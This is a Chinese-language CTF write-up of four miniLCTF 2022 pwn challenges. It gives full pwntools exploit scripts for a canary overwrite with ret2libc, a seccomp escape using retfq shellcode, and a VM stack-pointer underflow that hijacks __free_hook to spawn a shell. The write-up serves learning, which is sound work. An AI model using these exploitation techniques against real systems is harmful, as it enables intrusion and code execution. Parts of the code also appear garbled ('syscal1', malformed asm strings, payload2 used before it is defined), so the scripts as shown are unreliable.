# miniLCTF\_2022-Pwn WriteUp

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kgadget和kvdb未解出

## **Easy HTTPd**

## Challenge

签到题,一个标准的socket程序,接收形如http请求的字符串并进行一些处理

接收客户端发送的字符,停止条件是**出现子串"\r\n\r\n"**或长度达到255

strdup函数把字符串复制到堆上,返回指向它的指针

```
v2 = strstr(a1, "User-Agent: ");
.....
__isoc99_sscanf(v2, "User-Agent: %s\r\n\r\n", s1);
if ( strcmp(s1, "MiniL") )
    return OLL;
v3 = strstr(a1, "GET ");
.....
__isoc99_sscanf(v3, "GET %s\r\n", s);
return strdup(s);
```

把**"User-Agent: "和其后首个"\r\n\r\n"之间**的子串提取为新字符串s1,如果**不等于**"MiniL"就return 同理,提取出GET后的子串,复制到堆上,返回指向它的指针

```
if ( strcmp(s1, "/home/minil/flag") )
    {
        sub_14CE(s1, a1);
        .....
    }

// sub_14CE(const char *a1, int a2)
stream = fopen(a1, "r");
    __isoc99_fscanf(stream, "%s", s);
v4 = strlen(s);
send(a2, s, v4, 0);
```

#### **Solution**

直接send符合格式的字符串即可,不过要把"/home"改成"//home", exp如下

```
import socket
host = 'pwn.archive.xdsec.chall.frankli.site'
port = 10067
s = socket.socket(socket.AF_INET, socket.SOCK_STREAM)
s.connect((host, port))
payload = b'GET //home/minil/flag\r\nUser-Agent: MiniL \r\n\r\n'
s.send(payload)
result = s.recv(1024)
print(result)
```

## **Tips**

- 1. strcmp在字符串相等时**返回0!!!!**,有点反直觉...像个弱智一样被卡了半天
- 2. 要把"User-Agent: MiniL \r\n\r\n"放在后面,因为遇到"\r\n\r\n"会停止接收输入

### Gods

## Challenge

有canary

```
-> % checksec gods
Arch: amd64-64-little
RELRO: Full RELRO
Stack: Canary found
NX: NX enabled
PIE: No PIE (0x400000)
```

vuln函数中两处漏洞:

1. 没有对index上限检查,可对v4上任意高地址写

```
_isoc99_scanf("%hd", &index);

if ( index <= 1u )
{

   puts("Damn, I'm angry!");

   exit(0);
}

printf("Name: ");

__isoc99_scanf("%7s", &v5);

v4[index - 1] = v5;
```

2. v6大小为32字节,缓冲区溢出

```
puts("Finally, what's your name?");
__isoc99_scanf("%72s", v6);
printf("Oh dear '%s', I hope one day you can be a god of XDSEC!\n", (const char *)v6);
```

但由于是printf输出,遇到\x00会停止,没法泄露canary,得想别的办法

```
pthread_create(&pid, OLL, vuln, OLL);
```

结合main函数中这行代码上网搜索,不难查找到TLS相关的知识,得到解题思路

#### Solution

1. 找到合适的index,覆盖TLS中的canary(看汇编可知在fs:28h处) 在gdb中使用**fsbase**可以得到fs,由此便可算出要覆盖TLS中canary所需的index

index = 271 + 1 = 272 (因为源代码是v4[index - 1] = v5)

2. 覆盖后便是ret2libc模板题,不再赘述

exp如下

```
from pwn import *
context.terminal=['tmux', 'splitw', '-h']
# context.log_level = 'debug'
# io = process("./gods")
io = remote('pwn.archive.xdsec.chall.frankli.site', 10062)
# gdb.attach(io, 'b vuln')
elf = ELF('./gods')
libc = ELF('./libc-2.31.so')
main_addr = elf.symbols[b'main']
puts_offset = libc.symbols[b'puts']
puts_plt = elf.plt[b'puts']
puts_got = elf.got[b'puts']
# ROPgadget
pop_rdi_ret = 0x4015d3
ret = 0x40101a
# TLS index: 272
io.sendlineafter("(*^_^*)", b'yes')
```

```
io.sendlineafter("Rank: ", b'272')
io.sendafter("Name: ", b'bbbbbbb')
io.sendlineafter("Rank: ", b'2')
io.sendafter("Name: ", b'mikatoo')
# leak address of libc
payload1 = b'a'*0x18 + b'bbbbbbb\x00' + p64(0)
payload1 += p64(pop_rdi_ret) + p64(puts_got) + p64(puts_plt) + p64(main_addr)
io.sendlineafter(b'your name?\n', payload1)
io.recvuntil(b'XDSEC!\n')
puts\_real = u64(io.recvline()[:-1].ljust(8,b'\x00'))
libc_base = puts_real - puts_offset
system_addr = libc_base + libc.symbols[b'system']
binsh_addr = libc_base + next(libc.search(b'/bin/sh\x00'))
# get shell
io.sendline(b'yes')
payload2 += p64(pop_rdi_ret) + p64(binsh_addr) + p64(ret) + p64(system_addr)
io.sendlineafter(b'your name?\n', payload2)
io.interactive()
```

### **Tips**

被坑惨了...这才是这题教会我的东西

1. printf遇到\x00会停止,但scanf不会,所以尽管最后会得到这样的输出,但实际上后面的字节也发送出去了

```
[*] Switching to interactive mode
Oh dear 'aaaaaaaaaaaaaaaaaaaaaaaaaaaaaabbbbbbb', I hope one day you can be a god
of XDSEC!
```

2. 如果payload2中不加上p64(ret),打出去后会发生段错误,必须在本地调试才能得到错误信息 详情见这个stackoverflow上的提问

## **Shellcode**

## Challenge

sandbox题,程序逻辑相当简单,直接执行我们输入的代码,但这几行限制了系统调用

```
if ( prctl(38, 1LL, 0LL, 0LL, 0LL) < 0 )
    {
        perror("prctl(PR_SET_NO_NEW_PRIVS)");
        exit(2);
    }
    if ( prctl(22, 2LL, &v1) < 0 )
    {
        perror("prctl(PR_SET_SECCOMP)");
        exit(2);
    }
}</pre>
```

用seccomp-tools可以查看具体限制了哪些系统调用

可以看到只有在调用write、fstat、read、mmap时才goto 0007,也就是ALLOW,那么就不能简单使用system("/bin/sh")一类

fstat看起来有点奇怪,事实上32位下open和64位下fstat系统调用号都为5,而恰好有一条汇编指令retfq可以让程序转成32位模式运行,答案浮出水面

#### Solution

1. 用mmap分配一块内存,向上面写入我们要在32位模式下执行的shellcode

```
mmap(0x40404040, 0x1000, 7, 34, 0, 0)
read(0, 0x40404040, 0x1000)
```

2. 用retfq指令**转到32位**,同时要**调整rsp**,否则原本的rsp截断成32位后会变成奇怪的数,后面push时可能会访问非法内存,把它随便弄成一个靠谱的数就行,这里选在我们mmap的内存上其中0x23是retfq的参数,表示要转成32位模式,0x40404040是执行retfq后**rip**将变成的值,我们要把之后的shellcode写到那里,让程序在32位模式下执行,这也是我们要自己**调用一次read**的原因

```
mov rsp, 0x40404f40

push 0x23
push 0x40404040
retfq
```

3. 然后用32位的open打开flag文件,转回64位后read它,用write输出到屏幕

这一段代码我们是用步骤1中的read读入的,程序实际流程是把下面这些**read到0x40404040之后** 再执行步骤2中的内容,注意0x40404065要我们调试得到,其实就是**read开始**的地址

```
i386.linux.open('./flag')
push 0x33;
push 0x40404065;
retfq

amd64.linux.read(3, 0x40404840, 0x100)
amd64.linux.write(1, 0x40404840, 0x100)
```

#### 完整exp如下

```
from pwn import *
# io = process("./shellcode")
io = remote('pwn.archive.xdsec.chall.frankli.site', 10053)
def asm64(sc):
    return asm(sc, os='linux', arch='amd64')
def asm32(sc):
    return asm(sc, os='linux', arch='i386')
# mmap(0x40404040, 0x1000, 7, 34, 0, 0) rax=9
mmap = asm64(''')
mov edi, 0x40404040
xor rsi, rsi
mov esi,0x1000
xor rdx, rdx
xor dl,7
push 0x22
pop r10
xor r8, r8
dec r8
xor r9, r9
xor rax, rax
mov eax,9
syscal1
''')
# read(0, 0x40404040, 0x1000) rax=0
read = asm64(''')
xor rdi, rdi
xor rsi,rsi
mov esi, 0x40404040
xor rdx, rdx
mov edx, 0x1000
xor rax, rax
syscal1
''')
# rsp was cut off, so change it
rsp = asm64(''')
mov rsp, 0x40404840
''')
to32 = asm64(''')
push 0x23
```

```
push 0x40404040
retfq
''')
sc1 = mmap + read + rsp + to32
io.sendline(sc1)
openflag = asm32(shellcraft.i386.linux.open('./flag'))
ret264 = asm32('''
push 0x33
push 0x40404065
// retfq
''') + b'H\xcb'
readflag = asm64(shellcraft.amd64.linux.read(3, 0x40404840, 0x100))
writeflag = asm64(shellcraft.amd64.linux.write(1, 0x40404840, 0x100))
sc2 = openflag + ret264 + readflag + writeflag
io.sendline(sc2)
io.interactive()
```

#### **Tips**

- 1. 题目中的check函数会对sc1检查,所以不能用shellcraft,得自己写,但第二个shellcode在我们自己mmap的内存中,程序不进行检查,所以可以偷懒
- 2. asm32('retfq')会出错,大概与pwntools有关,所以要手动换成字节

## minil\_bug

## Challenge

观察dockerfile,从这个github<u>项目</u>上克隆程序并打了个patch,main.c的逻辑很简单,读入512字节的code并让vm来执行他们

直接看github上的源码分析vm.c,漏洞在vm\_exec函数中,这几个函数都**不对sp做检测**,我们可以一直调用**POP**,**让sp变成负值**,出题人打的patch也没有解决这个问题。

```
case LOAD: // load local or arg
   offset = vm->code[ip++];
   vm->stack[++sp] = vm->call_stack[callsp].locals[offset];
   break;
case GLOAD: // load from global memory
   addr = vm->code[ip++];
   vm->stack[++sp] = vm->globals[addr];
   break:
case STORE:
   offset = vm->code[ip++];
   vm->call_stack[callsp].locals[offset] = vm->stack[sp--];
   break;
case GSTORE:
    addr = vm->code[ip++];
   vm->globals[addr] = vm->stack[sp--];
    break;
```

同时观察vm.h中的结构体,这对理解本题至关重要

```
typedef struct {
   int *code;
   int code_size;

// global variable space
   int *globals;
   int nglobals;

// Operand stack, grows upwards
   int stack[DEFAULT_STACK_SIZE];
   Context call_stack[DEFAULT_CALL_STACK_SIZE];
} VM;
```

可以看到,stack数组紧挨前面的数据,如果我们让sp为负值,就可以利用上面四个函数**随意更改code** 和globals两个指针的值,配合GSTORE,我们可以**对任意地址写** 

#### Solution

- 1. 相当重要的一点是vm结构体内的vm->call\_stack[callsp].locals数组给了我们一个绝佳的数据存放处,我们定义一些"宏",可以很方便地用LOAD和STORE从中存取数据,同时也要注意维护结构体中某些数据在操作过程中保持不变,比如code\_size,否则会出错。当然,虽然nglobals没有维护也没问题,但其实本应维护
- 2. 我们先把globals改写为code,因为**code在栈上**,用gdb找到一个libc函数地址到它的偏移,用GLOAD就可以把它存到vm结构体的stack中,由此也就可以读取它,算出**所有libc函数**在运行时被加载的地址。exp中,这个栈上的libc函数地址是**ibc start main + 243**
- 3. 同理用上面的方式**改写free\_hook为system("/bin/sh")**,在vm\_free中会**对globals进行free**,此时我们成功get shell

exp如下,具体操作见注释

```
from pwn import *
# io = process('./bugged_interpreter')
io = remote('pwn.archive.xdsec.chall.frankli.site', 10083)
libc = ELF('./libc-2.31.so')
# context.terminal = ['tmux', 'splitw', '-h']
# gdb.attach(io, 'b* $rebase(0x1e45)')
# opcode
ADD = IADD = 1
PUSH = ICONST = 9
LOAD = 10
GLOAD = 11
STORE = 12
GSTORE = 13
POP = 15
HALT = 18
# C_SIZE is important!!!!!!!!
C_SIZE = 0
C_ADDR_LOW = 1
C_ADDR_HIGH = 2
```

```
SYSTEM\_ADDR\_LOW = 3
SYSTEM_ADDR_HIGH = 4 # in fact, libc_addr_high!!!!
FREE\_HOOK\_8\_LOW = 5
def formcode(cod):
    return b''.join(p32(x) for x in cod)
code = [
    POP, # Pop globals length and pointer
    POP.
    POP,
    POP, # Pop struct alignment
    STORE, C_SIZE, # Pop code_size
    STORE, C_ADDR_HIGH,
    STORE, C_ADDR_LOW,
    LOAD, C_ADDR_LOW,
    LOAD, C_ADDR_HIGH,
    LOAD, C_SIZE,
    PUSH, 0, # Write struct alignment
    LOAD, C_ADDR_LOW, # change globals -> code
    LOAD, C_ADDR_HIGH, \# sp = -1
    PUSH, 0, \# sp = 0
    # GLOAD (libc_start_main + 243) into (vm.stack), use gdb to get offset!
    GLOAD, 0x87, # high 4 bytes
    GLOAD, 0x86, # low 4 bytes
    # use add to change low 4 bytes, now (system_real) is in (vm->stack)
    PUSH, libc.sym['system']-libc.sym['__libc_start_main']-243,
    ADD.
    # GLOAD low 4 bytes of (free_hook - 8) into (vm.stack), high 4 bytes of libc
is the same!
    GLOAD, 0x86,
    PUSH, libc.sym['__free_hook'] - libc.sym['__libc_start_main'] - 243 - 8,
    ADD,
    # change globals -> (free_hook - 8), when vm_free, first free(globals)
    STORE, FREE_HOOK_8_LOW,
    STORE, SYSTEM_ADDR_LOW,
    STORE, SYSTEM_ADDR_HIGH,
    POP, # nglobals
    POP,
    POP,
    LOAD, FREE_HOOK_8_LOW,
    LOAD, SYSTEM_ADDR_HIGH,
    PUSH, 0, \# sp = 0
    # get system -> vm.stack
    LOAD, SYSTEM_ADDR_HIGH,
    LOAD, SYSTEM_ADDR_LOW,
    # change free_hook to system
    GSTORE, 2, # globals[2] = free_hook - 8 + 8 = free_hook
    GSTORE, 3, # globals = free_hook + 4
    # write /bin/sh\x00 to vm.stack
    PUSH, 0x6e69622f,
```

```
PUSH, 0x68732f,
# write /bin/sh\x00 to free_hook-8
GSTORE, 1, # system(*(free_hook-8))
GSTORE, 0, # same as system('/bin/sh')
# jump to vm_free
HALT
]

payload = formcode(code)
payload = payload.ljust(512, b"\x00")
io.send(payload)

io.interactive()
```

## **Tips**

- 1. 要用push 0和pop操作来平衡sp的值
- 2. exp中对code的处理、使用宏的思路来自这篇WP, 我认为十分精彩

## **Thoughts**

- 1. 五一前因为个人原因经历了两周多的玉玉期,期间内心痛苦、时常自卑,学习也当然停滞。开赛后始终觉得自己没什么希望,毕竟学习进度仅仅到栈溢出,但摆烂几天后居然做出了第一题,随后上瘾通宵两晚,善用互联网(,最终达到了平均水平,这其实是很出乎我意料的。这也是我第一次打比赛,学到了很多,觉得比赛比做题好太多,感觉心中有了一些激情(虽然不知道能坚持多久
- 2. 第一次打比赛,当然也是第一次写wp,所以写得很认真,并且斟酌了用语、认真查错,语气也比较正式。

但写起来也太tm累了,要是之后还有机会写wp,我就以能让自己看懂的标准写了

## References

1. shellcode

qwb2021 shellcode | Lingze's blog

2. minil\_bug

2022 RWCTF PWN SVME-爱代码爱编程 (icode.best)

CTFtime.org / Real World CTF 4th / SVME / Writeup